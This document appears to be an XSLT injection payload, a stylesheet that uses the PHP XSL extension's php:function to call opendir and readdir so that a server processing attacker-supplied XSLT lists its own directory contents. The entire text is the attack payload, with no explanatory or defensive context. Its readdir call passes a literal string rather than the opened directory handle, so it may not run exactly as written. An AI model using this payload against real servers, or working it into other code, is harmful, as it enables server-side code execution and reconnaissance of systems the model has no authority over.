<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:output method="html" encoding="utf-8"/>
<xsl:template match="/">
<xsl:variable name="dir" select="php:function('opendir','.')"/>
<xsl:value-of select="php:function('readdir','dir')"/>
</xsl:template>
</xsl:stylesheet>